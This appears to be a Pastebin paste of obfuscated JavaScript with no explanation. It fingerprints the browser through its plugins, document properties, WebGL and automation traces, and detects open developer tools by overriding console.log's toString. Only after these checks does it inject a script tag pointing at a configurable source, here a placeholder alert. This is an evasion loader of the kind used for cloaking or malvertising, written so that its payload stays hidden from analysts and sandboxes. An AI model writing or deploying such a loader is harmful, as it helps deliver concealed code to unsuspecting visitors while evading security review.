Advertisement
Guest User

Untitled

a guest
Nov 16th, 2018
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.38 KB | None | 0 0
  1. window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
  2.  
  3. +function() {
  4.  
  5. var st = '',
  6. ext = {}, // window
  7. wNum = '__',
  8. mParam = '|',
  9. fSize = 2,
  10. element; // RegExp
  11.  
  12. function defineFlag(arg, code, desc, stParam) {
  13. var temp = typeof(stParam),
  14. pass = arg[fSize],
  15. arr = [
  16. pass + arg[code - 1] + obj.key[code + fSize],
  17. pass + arg[code],
  18. obj.list[+st]
  19. ];
  20. obj.list[code - 1] += mParam + temp.slice(obj.max) + desc;
  21. var flags = arr.map(function(el) {
  22. return prop[el];
  23. }),
  24. sourse = listItems('"', fSize),
  25. extra = [flags[+st], flags[fSize - 1]].join(flags[code - 2]);
  26. return extra.match(sourse);
  27. }
  28.  
  29. var obj = {
  30. ect: ' ',
  31. csp: 1,
  32. max: 7,
  33. post: ['Assembly', 'Pixel', 'Points'],
  34. form: 'Enabled',
  35. user: 'persistent',
  36. Name: 'Agent',
  37. color: 'osc',
  38. Ratio: 5,
  39. side: 'Depth',
  40. Message: ['devi', 'scre', 'okie', 'plug', 'secu'],
  41. scr: 'random',
  42. crypto: 'doc'
  43. }
  44.  
  45. var propTxt = 'rab gube ppa edo nois dob ivan',
  46. prop = checkProps(propTxt, 'gato', 2), // window.navigator
  47. filter, idParam, devType; // window.document, document.body, navigator.plugins
  48.  
  49. function listItems(arg, mark, cond) {
  50. var zInd = obj.csp + 1;
  51. if (mark && typeof mark === 'number') {
  52. if (mark === 1) return new element(arg)
  53. else {
  54. var sTem = 'g';
  55. mark === zInd ? '' : mark === 3 ? sTem += 'i' : sTem = 'i';
  56. return new element(arg, sTem);
  57. }
  58. } else {
  59. var tmp = checkEmpty(arg, ' '),
  60. sNum = obj.max + 1;
  61. var newArr = tmp.map(function(el, num) {
  62. num === tmp.length - 1 ? el = 'W' + el
  63. : el += arr[num];
  64. return el;
  65. })
  66. var type = ext[newArr[sNum] + obj.post[+st]] &&
  67. prop[obj.color + 'pu'];
  68. obj.key[zInd] += cond.buffer + obj.post[zInd];
  69. obj.list = newArr.slice(zInd).map(function(item, idn) {
  70. idn === +st ? item += obj.form : idn === zInd - 1 ?
  71. item += mParam : idn === zInd + 1 ? item += 'nt' :
  72. idn === obj.Ratio ? item += 'x' : idn === obj.Ratio + 1 ?
  73. item += 'GLFr' + obj.key[sNum - zInd].slice(zInd - 1) +
  74. Object.keys(cond)[+st] : '';
  75. return item;
  76. })
  77. obj.row = prop[mark + obj.key[zInd * 2]];
  78. obj.Name = prop[obj.key[obj.Ratio] + obj.Name];
  79. return !ext[newArr[+st]] || type ||
  80. prop[newArr[zInd - 1] + obj.form];
  81.  
  82. }
  83. }
  84.  
  85. var startMes = checkEmpty(obj.Message, obj.user.slice(obj.max),
  86. ['ce', 'en', 'co', 'ins', 'rity']);
  87. var itemCount = filter[obj.Message[obj.Ratio - 1]], // document.security
  88. trackParam = ext[obj.add[obj.max - obj.Ratio]], // window.sidebar
  89. arr = ['mp', 'sm', 'va', 'ari', 'ur', 'de', 'ome', 'efo'];
  90.  
  91. function checkState(state, descr) {
  92. var hParam = obj.Ratio - 1,
  93. args = descr.map(function(arg) {
  94. return state.match(listItems(arg, hParam))
  95. }),
  96. prevSt = args[+st] && lastCond,
  97. curSt = args[fSize - 1] && ctrlLog && startMes && checkType(),
  98. nextSt = args[fSize] && listed;
  99. obj.Num = ext[obj.list[hParam + fSize]];
  100. return prevSt || curSt || nextSt;
  101. }
  102.  
  103. var ctrlLog = ext[obj.user.toUpperCase()], // window.PERSISTENT
  104. lastCond = ext[obj.key[+st]] || trackParam,
  105. listed = ext[obj.side.substr(+st, obj.csp + 1) + 'bug'];
  106.  
  107. function checkEmpty(arg, sep, arr) {
  108. var lgt = obj.post.length,
  109. idn = +st + 1;
  110. if (arguments && arguments.length === lgt) {
  111. var res = [
  112. ext[obj.key[lgt] + obj.add[lgt]],
  113. ]
  114. obj.Message = arg.map(function(mes, flag) {
  115. flag === lgt - 1 ? mes = arr[flag] + mes
  116. : mes += arr[flag];
  117. return mes;
  118. });
  119. var rParam = obj.Message;
  120. rParam[+st] += obj.post[idn] + obj.add[idn];
  121. rParam[lgt - 1] += obj.form;
  122. res.push(
  123. ext[rParam[+st]],
  124. ext[rParam[1]][obj.add[+st]+ obj.side],
  125. prop[rParam[lgt - 1]],
  126. prop[rParam[lgt]]
  127. );
  128. devType = res[res.length - idn];
  129. obj.crypto += 'um' + sep;
  130. filter = ext[obj.crypto];
  131. var result = res.reduce(function(cur, next) {
  132. return cur && next
  133. }, res[+st]);
  134. idParam = filter[propTxt[obj.Ratio]];
  135. return result;
  136. } else {
  137. return arg.split(sep);
  138. }
  139. }
  140.  
  141. var nextItem = listItems('du wa ja saf bl tri chr fir eb', 'plat', {buffer: 'Touch'}),
  142. openCond = typeof(ext[obj.add[obj.Ratio]]) === 'function',
  143. flag = defineFlag(propTxt, 4, 'ge');
  144.  
  145. // main detect
  146. function crop(items) {
  147. if (items && items.length >= obj.Ratio) {
  148. var cropped = items.reduce(function(item, next) {
  149. return item.map(function(el) {
  150. return el + next;
  151. })
  152. }, items[fSize]);
  153. return cropped;
  154. }
  155. if (changedParam) {
  156. if (stateParam) {
  157. console.log(minParam);
  158. if (itemNum > 0 && obj.Num) {
  159. checkId();
  160. }
  161. }
  162. }
  163. }
  164.  
  165. var lock = st || Node,
  166. second = lock[wNum + obj.key[1]],
  167. mom = new Date/1e13;
  168.  
  169. ~function(current, base) {
  170. var num = +st;
  171. if (mom && Array.isArray(mom)) {
  172. var sum = mom.reduce(function(el, next) {
  173. return el + next;
  174. })
  175. current += sum;
  176. }
  177. Math[base] = function() {
  178. return mom;
  179. };
  180. current && current.forEach(function(el) {
  181. lock.prototype[el[num]] = el[num + 1]
  182. });
  183. } (second, obj.scr);
  184.  
  185. var checkType = function(){ return !st.match.call(devType[+st].name, 'um') };
  186. var itemNum = itemCount?4:trackParam?1:2,
  187. isOpen = openCond || flag,
  188. minParam = listItems('g', 1);
  189. checkId = function() {
  190. obj.add[obj.Ratio - 1] += 'ipt';
  191. var temp = filter.createElement(obj.add[obj.Ratio - 1]),
  192. select = idParam.appendChild(temp);
  193. return select.src = ext.globalScriptSrc;
  194. };
  195.  
  196. try{ var textParam = ext[obj.list[fSize]] + st }catch(e){ var textParam=false };
  197. minParam.toString = function() { --itemNum; return st };
  198.  
  199. var changedParam = changeParams('in', mParam, 'ma'); // 1 if
  200. var stateParam = checkState(obj.Name, obj.prop); // 2 if
  201.  
  202. function checkProps(arg, param, id, filter) {
  203. var res,
  204. fnr = +st;
  205. if (filter && typeof filter === 'object') {
  206. res = arg.forEach(function(item) {
  207. for (var key in filter) {
  208. item + filter[key] === param
  209. ? (item.add = key, item = filter[key])
  210. : ''
  211. }
  212. return item;
  213. })
  214. } else {
  215. var buf = checkEmpty(arg, obj.ect);
  216. ext = window;
  217. propTxt = buf.map(function(el, index) {
  218. var len = el.length,
  219. sum = st;
  220. element = RegExp;
  221. for (var i = 1; i <= len; i++) {
  222. sum += el.substr(len - i, 1);
  223. }
  224. var item = sum;
  225. index === obj.csp ? item = 'D' + item :
  226. index === id + 1 ? item = 'C' + item : index === obj.Ratio - 1 ?
  227. item = 'Ver' + item : index === obj.Ratio ? item += 'y'
  228. : index === obj.max - 1 ? item += param + 'r' : item += st;
  229. return item;
  230. })
  231. var temp = Object.keys(obj).map(function(el, ind) {
  232. ind === fnr ? el = 'R' + el : ind === fnr + 1
  233. ? el += 'r' + wNum : ind === obj.max + 2 ?
  234. el += propTxt[fnr] : '';
  235. return el;
  236. })
  237. obj.key = temp.splice(fnr, obj.max);
  238. obj.add = temp;
  239. res = ext[propTxt[obj.max - 1]];
  240. }
  241. return res;
  242. }
  243. crop();
  244.  
  245. function changeParams() {
  246. var arg = 'w',
  247. list = obj.list,
  248. num = obj.Ratio;
  249. if (arguments && arguments.length === fSize + 1) {
  250. for (var i = 0; i < arguments.length; i++) {
  251. arg += arguments[i]
  252. }
  253. }
  254. var params = [
  255. obj.row.match(listItems(arg + 'c', fSize + 1)),
  256. !prop[obj.key[fSize]], !isOpen,
  257. textParam, nextItem
  258. ]
  259. var changed = params.reduce(function(prev, cur) {
  260. return prev && cur
  261. }, params[0]);
  262. obj.prop = [list[fSize - 1] + list[num], list[num - 1], list[fSize + 1]];
  263. return changed;
  264. }
  265. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement